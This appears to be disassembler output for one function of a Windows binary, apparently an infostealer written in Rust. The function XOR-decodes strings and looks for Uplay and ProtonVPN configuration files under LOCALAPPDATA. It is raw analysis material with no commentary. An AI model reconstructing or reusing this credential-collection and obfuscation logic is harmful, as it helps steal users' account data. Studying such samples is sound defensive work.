Function at 0x14001094c
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xbf8
mov r12, rcx
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
lea rcx, [rsp + 0xa8]
call fcn.140040610
lea rax, [0x1402407e5]
lea rdx, [rsp + 0x730]
mov qword [rdx], rax
mov rcx, qword [rdx]
movabs rax, 0xdaa4ce4de8c09cd0
mov qword [rdx], rax
lea rax, [rsp + 0x730]
mov rdx, qword [rax]
call fcn.140086a3c
mov ecx, 0x6cd1c87f
xor ecx, dword [rax]
movzx edx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0x5090
xor dl, 0x1e
movzx edx, dl
lea rbp, [rsp + 0x4d0]
mov byte [rbp + 6], dl
shl rdx, 0x30
shl rax, 0x20
or rax, rdx
mov dword [rbp], ecx
shr rax, 0x20
mov word [rbp + 4], ax
lea rsi, [rsp + 0x268]
mov r8d, 7
mov rcx, rsi
mov rdx, rbp
call fcn.14017ab30
movabs rax, 0x8000000000000001
cmp qword [rsi], rax
jne 0x140011efb
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xf0], rax
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0xe0], xmm0
lea rax, [0x140237864]
lea rdx, [rsp + 0x730]
mov qword [rdx], rax
mov rcx, qword [rdx]
movabs rax, 0x4950b95c0eebab39
mov qword [rdx], rax
lea rsi, [rsp + 0x730]
mov rdx, qword [rsi]
call fcn.140085684
xorps xmm0, xmm0
movaps xmmword [rsi], xmm0
mov cl, 1
xor edx, edx
lea r8, str.W_Q
mov r9, qword [rdx + r8]
xor r9, qword [rax + rdx]
mov qword [rsp + rdx + 0x730], r9
mov edx, 8
test cl, 1
mov ecx, 0
jne 0x140010a73
mov ecx, 0x4c9bc441
xor ecx, dword [rax + 0x10]
lea rdx, [rsp + 0x730]
mov dword [rdx + 0x10], ecx
mov al, byte [rax + 0x14]
xor al, 0x48
mov byte [rdx + 0x14], al
movaps xmm0, xmmword [rdx]
movaps xmmword [rsp + 0x4d0], xmm0
mov rax, qword [rdx + 0xd]
mov qword [rsp + 0x4dd], rax
lea r13, [rsp + 0x38]
mov qword [r13], rbp
mov qword [r13 + 8], 0x15
lea rax, [0x14023325b]
mov qword [rdx], rax
mov rcx, qword [rdx]
movabs rax, 0x9595845f32b0e7bc
mov qword [rdx], rax
lea rsi, [rsp + 0x730]
mov rdx, qword [rsi]
call fcn.140085923
mov ecx, 0xe6108ace
xor ecx, dword [rax]
mov al, byte [rax + 4]
xor al, 0x2a
lea rdx, [rsp + 0x108]
mov dword [rdx], ecx
mov byte [rdx + 4], al
lea rbx, [rsp + 0x9a0]
mov qword [rbx], rdx
mov qword [rbx + 8], 5
lea rax, [rsp + 0xe0]
mov qword [rsi], rax
lea rax, [0x140006a7e]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r13
lea rax, [0x14003906a]
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], rbx
mov qword [rsi + 0x28], rax
lea rax, [0x14029c538]
lea rdx, [rsp + 0x268]
mov qword [rdx], rax
mov eax, 3
mov qword [rdx + 8], rax
mov qword [rdx + 0x20], 0
mov qword [rdx + 0x10], rsi
mov qword [rdx + 0x18], rax
lea rsi, [rsp + 0x250]
mov rcx, rsi
call fcn.14003f640
mov r14, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rsi, [rsp + 0x730]
mov rcx, rsi
mov rdx, r14
call fcn.14017f2e0
cmp dword [rsi], 2
mov qword [rsp + 0xa0], r12
jne 0x140010bd9
mov rax, qword [rsp + 0x738]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x268], 2
jmp 0x140010bfa
lea r15, [rsp + 0x268]
lea rsi, [rsp + 0x730]
mov ecx, 9
mov rdi, r15
rep movsq qword [rdi], qword [rsi]
cmp qword [r15], 2
jne 0x140010c55
lea rcx, [rsp + 0x270]
call fcn.1400747f0
mov al, byte [0x140353270]
mov edx, 5
xor ecx, ecx
call fcn.140190370
test rax, rax
je 0x140011f88
mov rsi, rax
mov byte [rax + 4], 0x79
mov dword [rax], 0x616c7055
cmp qword [rsp + 0x250], 0
je 0x1400110c6
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400110c6
lea rax, [0x14023379e]
lea rdx, [rsp + 0x730]
mov qword [rdx], rax
mov rcx, qword [rdx]
movabs rax, 0xd70c4c727e7d3d0e
mov qword [rdx], rax
lea rsi, [rsp + 0x730]
mov rdx, qword [rsi]
call fcn.1400859af
mov ecx, 0x455ef83f
xor ecx, dword [rax]
mov al, byte [rax + 4]
xor al, 0x73
mov dword [rsp + 0x38], ecx
mov byte [rsp + 0x3c], al
mov qword [rsp + 0x9a0], r13
mov qword [rsp + 0x9a8], 5
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x268], rax
lea rax, [0x140006a7e]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], rbx
lea rax, [0x14003906a]
mov qword [rsp + 0x280], rax
lea rax, [0x14029c538]
mov qword [rsi], rax
mov qword [rsi + 8], 3
mov qword [rsi + 0x20], 0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], 2
lea rsi, [rsp + 0x4d0]
lea rdi, [rsp + 0x730]
mov rcx, rsi
mov rdx, rdi
call fcn.14003f640
mov rcx, rsi
call fcn.1400035ce
mov qword [rdi], rax
test rax, rax
je 0x140010d43
lea rcx, [rsp + 0x730]
call fcn.1400747f0
lea rsi, [rsp + 0x268]
lea rdx, [rsp + 0x250]
mov rcx, rsi
call fcn.140003c03
cmp dword [rsi + 0x10], 2
je 0x140011f97
lea rcx, [rsp + 0x730]
lea rdi, [rsp + 0x268]
mov r8d, 0x268
mov rdx, rdi
call fcn.140230440
lea r13, [rsp + 0x4d0]
lea r14, [rsp + 0x38]
mov r12d, 3
mov rbp, qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
lea rdx, [rsp + 0x730]
call fcn.14017d660
cmp qword [rsp + 0x268], 0
je 0x14001107c
mov rcx, qword [rsp + 0x270]
mov rax, qword [rsp + 0x278]
test rcx, rcx
je 0x140011ec5
mov qword [rsp + 0x4d0], rcx
mov qword [rsp + 0x4d8], rax
mov r8d, 0x248
lea rcx, [rsp + 0x4e0]
lea rdx, [rsp + 0x280]
call fcn.140230440
mov rcx, rbx
mov rdx, r13
call fcn.14017da10
mov r15, qword [rsp + 0x9a8]
mov r8, qword [rsp + 0x9b0]
mov rcx, r14
mov rdx, r15
call fcn.140048270
cmp qword [rsp + 0x38], 0
jne 0x140011eb9
mov rax, qword [rsp + 0x48]
cmp rax, 3
jae 0x140010e41
xor esi, esi
jmp 0x140010e60
mov rcx, qword [rsp + 0x40]
movzx edx, word [rcx + rax - 3]
xor edx, 0x642e
movzx eax, byte [rcx + rax - 1]
xor eax, 0x62
or ax, dx
sete sil
cmp qword [rsp + 0x9a0], 0
je 0x140010e79
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, r15
call rbp
test sil, sil
je 0x140011058
lea rcx, [rsp + 0x150]
mov rdx, r13
call fcn.14017d870
lea rax, [0x14023f08c]
mov qword [rsp + 0x9a0], rax
mov rcx, qword [rsp + 0x9a0]
movabs rax, 0x92c3cc299a42667d
mov qword [rsp + 0x9a0], rax
mov rdx, qword [rsp + 0x9a0]
call fcn.1400856ed
mov ecx, dword [rax]
mov edx, 0xfc80fe5b
xor ecx, edx
mov al, byte [rax + 4]
xor al, 0x3e
mov dword [rsp + 0x80], ecx
mov byte [rsp + 0x84], al
lea rax, [rsp + 0x80]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 5
lea rcx, [rsp + 0x108]
mov rdx, r13
call fcn.14017da10
mov r15, qword [rsp + 0x110]
mov r8, qword [rsp + 0x118]
mov rcx, rbx
mov rdx, r15
call fcn.140048270
cmp qword [rsp + 0x9a0], 0
jne 0x140011eef
mov rax, qword [rsp + 0x9a8]
mov rcx, qword [rsp + 0x9b0]
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x1b0], rcx
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x9a0], rax
lea rax, [0x140006a7e]
mov qword [rsp + 0x9a8], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x9b0], rax
lea rax, [0x14003906a]
mov qword [rsp + 0x9b8], rax
lea rcx, [rsp + 0x1a8]
mov qword [rsp + 0x9c0], rcx
mov qword [rsp + 0x9c8], rax
lea rax, [0x14029c538]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], r12
lea rcx, [rsp + 0x1e0]
mov rdx, r14
call fcn.14003f640
cmp qword [rsp + 0x108], 0
je 0x140010ffd
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, r15
call rbp
mov rsi, qword [rsp + 0x1e0]
mov r15, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x150]
mov rdx, r15
call fcn.1400038af
mov qword [rsp + 0x9a0], rax
mov qword [rsp + 0x9a8], rdx
test rax, rax
jne 0x140011609
test rsi, rsi
je 0x140011051
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, r15
call rbp
inc qword [0x1403530d0]
mov rax, qword [rsp + 0x4d0]
lock dec qword [rax]
jne 0x140010d9d
mov rcx, qword [rsp + 0x4d0]
call fcn.1401b85f9
jmp 0x140010d9d
lea rcx, [rsp + 0x730]
call fcn.14000485d
mov al, byte [0x140353270]
mov edx, 5
xor ecx, ecx
call fcn.140190370
test rax, rax
je 0x140011f88
mov rsi, rax
mov byte [rax + 4], 0x79
mov dword [rax], 0x616c7055
mov r12, qword [rsp + 0xa0]
lea r13, [rsp + 0x38]
lea rbp, [rsp + 0x4d0]
cmp qword [rsp + 0xe0], 0
je 0x1400110e8
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edi, edi
cmp qword [rsp + 0xa8], 0
je 0x14001110c
mov r8, qword [rsp + 0xb0]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test dil, dil
jne 0x140011123
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [r12 + 8]
mov rdi, qword [r12 + 0x10]
lea rbx, [rsp + 0x730]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.140040610
mov rcx, rbx
call fcn.14000d83d
lea rcx, [rsp + 0x238]
mov rdx, rsi
mov r8, rdi
call fcn.140040610
lea rcx, case.0x140061e28.231
call fcn.1400521fa
movups xmm0, xmmword [0x1403360b0]
movaps xmmword [rsp + 0x150], xmm0
movups xmm0, xmmword [0x1403360c0]
movaps xmmword [rsp + 0x160], xmm0
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], rdx
mov al, byte [0x140353270]
mov edx, 9
xor ecx, ecx
call fcn.140190370
test rax, rax
je 0x140011f25
mov rsi, rax
movabs rax, 0x50566e6f746f7250
mov qword [rsi], rax
mov byte [rsi + 8], 0x4e
lea rdx, str.LOCALAPPDATAsrcmisc_vpn.rs
lea rdi, [rsp + 0x268]
mov r8d, 0xc
mov rcx, rdi
call fcn.14017ab30
movabs rax, 0x8000000000000001
cmp qword [rdi], rax
jne 0x140011f34
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x4e0], rax
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x4d0], xmm0
lea rax, [0x14023d917]
lea rdx, [rsp + 0x730]
mov qword [rdx], rax
mov rcx, qword [rdx]
movabs rax, 0xf17cee396068a43b
mov qword [rdx], rax
lea rbx, [rsp + 0x730]
mov rdx, qword [rbx]
call fcn.140085663
movabs rcx, 0xa2e473f8fddb2014
xor rcx, qword [rax]
movzx eax, word [rax + 8]
xor eax, 0xd315
mov qword [rsp + 0x108], rcx
mov word [rsp + 0x110], ax
lea rax, [rsp + 0x108]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 0xa
mov qword [rsp + 0x268], rbp
lea rax, [0x140006a7e]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], r13
lea rax, [0x14003906a]
mov qword [rsp + 0x280], rax
lea rax, [0x14029be68]
mov qword [rbx], rax
mov eax, 2
mov qword [rbx + 8], rax
mov qword [rbx + 0x20], 0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rax
lea rcx, [rsp + 0x9a0]
lea rdx, [rsp + 0x730]
call fcn.14003f640
cmp qword [rsp + 0x4d0], 0
je 0x14001130d
mov r8, qword [rsp + 0x4d8]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [0x140353270]
mov edx, 0xb
xor ecx, ecx
call fcn.140190370
test rax, rax
je 0x140011f79
mov rdi, rax
movabs rax, 0x6e6f632e72657375
mov qword [rdi], rax
mov dword [rdi + 7], 0x6769666e
mov rax, qword [rsp + 0x9b0]
mov qword [rsp + 0x1d0], rax
movups xmm0, xmmword [rsp + 0x9a0]
movaps xmmword [rsp + 0x1c0], xmm0
mov rcx, qword [rsp + 0x170]
mov rdx, qword [rsp + 0x178]
mov r9d, 9
mov r8, rsi
call fcn.140071c68
mov rbx, rax
cmp qword [rsp + 0x160], 0
je 0x140011e93
mov rax, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x158]
mov r8, rcx
and r8, rbx
shr rbx, 0x39
movd xmm0, ebx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r9d, r9d
pcmpeqd xmm1, xmm1
xor r10d, r10d
movdqu xmm2, xmmword [rax + r8]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r11d, xmm3
test r11d, r11d
je 0x140011423
bsf r14d, r11d
add r14, r8
and r14, rcx
neg r14
lea r14, [r14 + r14*8]
cmp qword [rax + r14*8 - 0x38], 9
jne 0x140011416
lea r12, [rax + r14*8]
mov r14, qword [r12 - 0x40]
mov r15, qword [rsi]
xor r15, qword [r14]
mov bpl, byte [rsi + 8]
xor bpl, byte [r14 + 8]
movzx r14d, bpl
or r14, r15
je 0x14001146a
lea ebp, [r11 - 1]
and bp, r11w
mov r11d, ebp
jne 0x1400113dd
cmp r10, 1
mov r10d, 1
je 0x140011445
pmovmskb edx, xmm2
xor r10d, r10d
test edx, edx
setne r10b
bsf edx, edx
add rdx, r8
and rdx, rcx
pcmpeqb xmm2, xmm1
pmovmskb r11d, xmm2
test r11d, r11d
jne 0x140011509
add r8, r9
add r8, 0x10
add r9, 0x10
and r8, rcx
jmp 0x1400113c5
mov r13, qword [r12 - 0x30]
mov r14, qword [r12 - 0x28]
mov r15, qword [r12 - 0x18]
mov rbx, qword [r12 - 0x10]
mov rax, qword [rsp + 0x1d0]
mov qword [r12 - 0x20], rax
movaps xmm0, xmmword [rsp + 0x1c0]
movups xmmword [r12 - 0x30], xmm0
mov eax, 0xb
mov qword [r12 - 0x18], rax
mov qword [r12 - 0x10], rdi
mov qword [r12 - 8], rax
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
movabs rax, 0x8000000000000000
cmp r13, rax
je 0x140011590
test r13, r13
je 0x1400114e9
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r15, r15
je 0x140011590
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140011590
mov r8b, byte [rax + rdx]
test r8b, r8b
js 0x140011521
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
bsf edx, edx
mov r8b, byte [rax + rdx]
and r8b, 1
movzx r8d, r8b
sub qword [rsp + 0x160], r8
lea r8, [rdx - 0x10]
and rcx, r8
mov byte [rax + rdx], bl
mov byte [rax + rcx + 0x10], bl
inc qword [rsp + 0x168]
neg rdx
lea rcx, [rdx + rdx*8]
mov edx, 9
mov qword [rax + rcx*8 - 0x48], rdx
mov qword [rax + rcx*8 - 0x40], rsi
mov qword [rax + rcx*8 - 0x38], rdx
movaps xmm0, xmmword [rsp + 0x1c0]
movups xmmword [rax + rcx*8 - 0x30], xmm0
mov rdx, qword [rsp + 0x1d0]
mov qword [rax + rcx*8 - 0x20], rdx
mov edx, 0xb
mov qword [rax + rcx*8 - 0x18], rdx
mov qword [rax + rcx*8 - 0x10], rdi
mov qword [rax + rcx*8 - 8], rdx
mov rbp, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x158]
movdqa xmm0, xmmword [rbp]
test rcx, rcx
je 0x1400115ef
lea rax, [rcx + 1]
mov edx, 0x48
mul rdx
mov r8b, 1
jo 0x1400115ff
cmp rax, 0xfffffffffffffff0
lea r12, [rsp + 0x38]
ja 0x1400115ea
add rax, 0xf
and rax, 0xfffffffffffffff0
add rcx, 0x11
add rcx, rax
jb 0x1400115ea
movabs rdx, 0x7ffffffffffffff1
cmp rcx, rdx
jb 0x140011694
jmp 0x140011697
mov al, 1
mov dword [rsp + 0x34], eax
lea r12, [rsp + 0x38]
jmp 0x1400116b2
lea r12, [rsp + 0x38]
jmp 0x140011697
lea rcx, [rsp + 0x9a8]
call fcn.1400747f0
test rsi, rsi
je 0x14001162d
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x4d0]
lock dec qword [rax]
mov r12, qword [rsp + 0xa0]
lea r13, [rsp + 0x38]
lea rbp, [rsp + 0x4d0]
jne 0x14001165d
mov rcx, qword [rsp + 0x4d0]
call fcn.1401b85f9
lea rcx, [rsp + 0x730]
call fcn.14000485d
cmp qword [rsp + 0xe0], 0
je 0x14001168c
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov dil, 1
jmp 0x1400110ea
xor r8d, r8d
mov dword [rsp + 0x34], r8d
mov rdx, rbp
sub rdx, rax
mov qword [rsp + 0x1d8], rdx
test rcx, rcx
sete byte [rsp + 0x33]
mov r13, qword [rsp + 0x168]
lea r15, [rbp + 0x10]
pmovmskb ebx, xmm0
not ebx
lea r14, [rsp + 0x730]
test r13, r13
je 0x140011d9b
test bx, bx
jne 0x1400116f8
movdqa xmm0, xmmword [r15]
pmovmskb ebx, xmm0
add rbp, 0xfffffffffffffb80
add r15, 0x10
cmp ebx, 0xffff
je 0x1400116da
not ebx
mov eax, ebx
lea ebx, [rax - 1]
and ebx, eax
dec r13
bsf eax, eax
neg rax
lea rcx, [rax + rax*8]
mov rax, qword [rbp + rcx*8 - 0x48]
mov rdx, qword [rbp + rcx*8 - 0x20]
mov qword [rsp + 0x200], rdx
movups xmm0, xmmword [rbp + rcx*8 - 0x30]
movaps xmmword [rsp + 0x1f0], xmm0
movups xmm0, xmmword [rbp + rcx*8 - 0x40]
movaps xmmword [rsp + 0x1e0], xmm0
movdqu xmm0, xmmword [rbp + rcx*8 - 0x18]
movdqa xmmword [rsp + 0x220], xmm0
mov rdx, qword [rbp + rcx*8 - 8]
mov qword [rsp + 0x230], rdx
movabs rdx, 0x8000000000000000
cmp rax, rdx
je 0x140011da2
lea rcx, [rcx*8 - 0x40]
add rcx, rbp
mov qword [rsp + 0x190], rax
movups xmm0, xmmword [rcx]
lea rax, [rsp + 0x198]
movups xmmword [rax], xmm0
lea rax, [rsp + 0x1f0]
mov r8, qword [rax + 0x10]
mov qword [rsp + 0x90], r8
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0xd0], rax
movdqa xmm0, xmmword [rsp + 0x220]
movdqa xmmword [rsp + 0xc0], xmm0
mov rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0x4d0]
call fcn.140040610
mov rsi, r14
mov r14, qword [rsp + 0x4d8]
mov r8, qword [rsp + 0x4e0]
mov rcx, rsi
mov rdx, r14
call fcn.14017f2e0
cmp dword [rsp + 0x730], 2
jne 0x140011824
mov rax, qword [rsp + 0x738]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x268], 2
jmp 0x14001184b
mov ecx, 9
lea rdi, [rsp + 0x268]
rep movsq qword [rdi], qword [rsi]
lea rdi, [rsp + 0x268]
cmp qword [rsp + 0x268], 2
jne 0x1400118ec
lea rcx, [rsp + 0x270]
call fcn.1400747f0
cmp qword [rsp + 0x4d0], 0
je 0x140011875
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r14, [rsp + 0x730]
cmp qword [rsp + 0xc0], 0
je 0x14001189f
mov r8, qword [rsp + 0xc8]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x80], 0
je 0x1400118c1
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x190], 0
je 0x1400116cc
mov r8, qword [rsp + 0x198]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400116cc
cmp qword [rsp + 0x4d0], 0
je 0x140011909
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
lea r14, [rsp + 0x730]
mov rcx, r14
call fcn.140040610
mov rcx, rdi
mov rdx, r14
call fcn.140003c03
cmp dword [rsp + 0x278], 2
jne 0x14001194b
mov rcx, rdi
call fcn.1400747f0
jmp 0x14001187d
mov r8d, 0x268
mov rcx, r14
mov rdx, rdi
call fcn.140230440
mov qword [rsp + 0x188], r13
mov rcx, rdi
mov rdx, r14
call fcn.14017d660
cmp qword [rsp + 0x268], 0
je 0x140011d8e
mov r8d, 0x258
lea rcx, [rsp + 0x9a0]
lea rdx, [rsp + 0x270]
call fcn.140230440
mov rsi, qword [rsp + 0x9a0]
test rsi, rsi
je 0x140011b48
mov rdi, qword [rsp + 0x9a8]
mov r8d, 0x248
lea rcx, [rsp + 0x4e0]
lea rdx, [rsp + 0x9b0]
call fcn.140230440
mov qword [rsp + 0x4d0], rsi
mov qword [rsp + 0x4d8], rdi
bt edi, 0xa
setae al
test byte [rsp + 0x4ff], 0x20
sete cl
test dil, 0x10
je 0x140011b5a
or al, cl
lea rdi, [rsp + 0x268]
je 0x140011bc8
lea rcx, [rsp + 0x108]
lea rdx, [rsp + 0x4d0]
call fcn.14017d870
mov rsi, qword [rsp + 0x110]
mov r8, qword [rsp + 0x118]
mov rcx, r12
mov rdx, rsi
call fcn.140048270
cmp qword [rsp + 0x38], 0
jne 0x140011ead
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], rcx
lea rax, [rsp + 0xa8]
mov qword [rsp + 0xe0], rax
lea rax, [0x14003906a]
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xf0], rax
lea rax, [0x140006a7e]
mov qword [rsp + 0xf8], rax
lea rax, [0x14029be68]
mov qword [rsp + 0x38], rax
mov ecx, 2
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x1a8]
mov rdx, r12
call fcn.14003f640
cmp qword [rsp + 0x108], 0
je 0x140011afb
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, qword [rsp + 0x1a8]
mov r14, qword [rsp + 0x1b0]
mov r13, qword [rsp + 0x1b8]
lea rsi, [rsp + 0x38]
mov rcx, rsi
mov rdx, r14
mov r8, r13
call fcn.14017f2e0
cmp dword [rsp + 0x38], 2
jne 0x140011b64
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x108], 2
jmp 0x140011b87
lea rcx, [rsp + 0x9a8]
call fcn.1400747f0
jmp 0x140011964
lea rdi, [rsp + 0x268]
jmp 0x140011bc8
mov ecx, 9
lea rdi, [rsp + 0x108]
rep movsq qword [rdi], qword [rsi]
lea rdi, [rsp + 0x268]
cmp qword [rsp + 0x108], 2
jne 0x140011be4
lea rcx, [rsp + 0x110]
call fcn.1400747f0
test r12, r12
je 0x140011bab
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x4d0]
lea r12, [rsp + 0x38]
mov r13, qword [rsp + 0x188]
lea r14, [rsp + 0x730]
lock dec qword [rsi]
jne 0x140011964
mov rcx, qword [rsp + 0x4d0]
call fcn.1401b85f9
jmp 0x140011964
lea rax, [rsp + 0x80]
mov qword [rsp + 0x108], rax
lea rax, [0x140006a7e]
mov qword [rsp + 0x110], rax
lea rcx, [rsp + 0x190]
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0x120], rax
lea rax, [0x14029be68]
mov qword [rsp + 0x38], rax
mov ecx, 2
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x108]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rcx
lea rdi, [rsp + 0xe0]
mov rcx, rdi
lea rsi, [rsp + 0x38]
mov rdx, rsi
call fcn.14003f640
mov rcx, rdi
call fcn.1400035ce
mov qword [rsp + 0x38], rax
test rax, rax
je 0x140011c7e
mov rcx, rsi
call fcn.1400747f0
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0xb0], r14
mov qword [rsp + 0xb8], r13
lea rax, [rsp + 0x238]
mov qword [rsp + 0x38], rax
lea rax, [0x140006a7e]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x190]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rax
lea rax, [0x14029c538]
mov qword [rsp + 0x108], rax
mov eax, 3
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x128], 0
mov qword [rsp + 0x118], rsi
mov qword [rsp + 0x120], rax
lea rdi, [rsp + 0xe0]
mov rcx, rdi
lea rdx, [rsp + 0x108]
call fcn.14003f640
lea rcx, [rsp + 0xa8]
mov rdx, rdi
call fcn.14000383d
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x218], rdx
test rax, rax
mov r12, rsi
je 0x140011d58
lea rcx, [rsp + 0x218]
call fcn.1400747f0
inc qword [0x1403530d0]
mov rax, qword [rsp + 0x4d0]
lock dec qword [rax]
mov r13, qword [rsp + 0x188]
lea r14, [rsp + 0x730]
lea rdi, [rsp + 0x268]
jne 0x140011964
jmp 0x140011bd2
mov rcx, r14
call fcn.14000485d
jmp 0x14001187d
mov r14b, byte [rsp + 0x33]
jmp 0x140011e19
test r13, r13
mov r14b, byte [rsp + 0x33]
je 0x140011e19
test bx, bx
jne 0x140011dcf
movdqa xmm0, xmmword [r15]
pmovmskb ebx, xmm0
add rbp, 0xfffffffffffffb80
add r15, 0x10
cmp ebx, 0xffff
je 0x140011db1
not ebx
bsf eax, ebx
neg rax
lea rax, [rax + rax*8]
lea rsi, [rax*8]
add rsi, rbp
cmp qword [rsi - 0x48], 0
je 0x140011dfe
mov r8, qword [rsi - 0x40]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea edi, [rbx - 1]
and edi, ebx
dec r13
add rsi, 0xffffffffffffffd0
mov rcx, rsi
call fcn.14007ee05
mov ebx, edi
test r13, r13
jne 0x140011dac
mov eax, dword [rsp + 0x34]
or al, r14b
test al, 1
jne 0x140011e3b
mov rcx, qword [0x1403531b0]
xor edx, edx
mov r8, qword [rsp + 0x1d8]
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x238], 0
mov rsi, qword [rsp + 0xa0]
je 0x140011e65
mov r8, qword [rsp + 0x240]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsi], 0
je 0x140011e7e
mov r8, qword [rsi + 8]
mov rcx, qword [0x1403531b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0xbf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x150]
call fcn.140234565
jmp 0x14001138f
lea rcx, [0x1402410d0]
call fcn.1402321b0
lea rcx, str.srcmiscuplay.rs
call fcn.1402321b0
lea r8, [rsp + 0x9a0]
mov qword [r8], rax
lea rax, str.srcmiscuplay.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valueC:Usersdiddy.cargo_registry_srcindex.crates.io_6f17d22bba15001fzopfli_0.8.1_srccache.rs
lea r9, fcn.1400747f0
jmp 0x140011f6f
lea rcx, str.srcmiscuplay.rs
call fcn.1402321b0
movups xmm0, xmmword [rsp + 0x268]
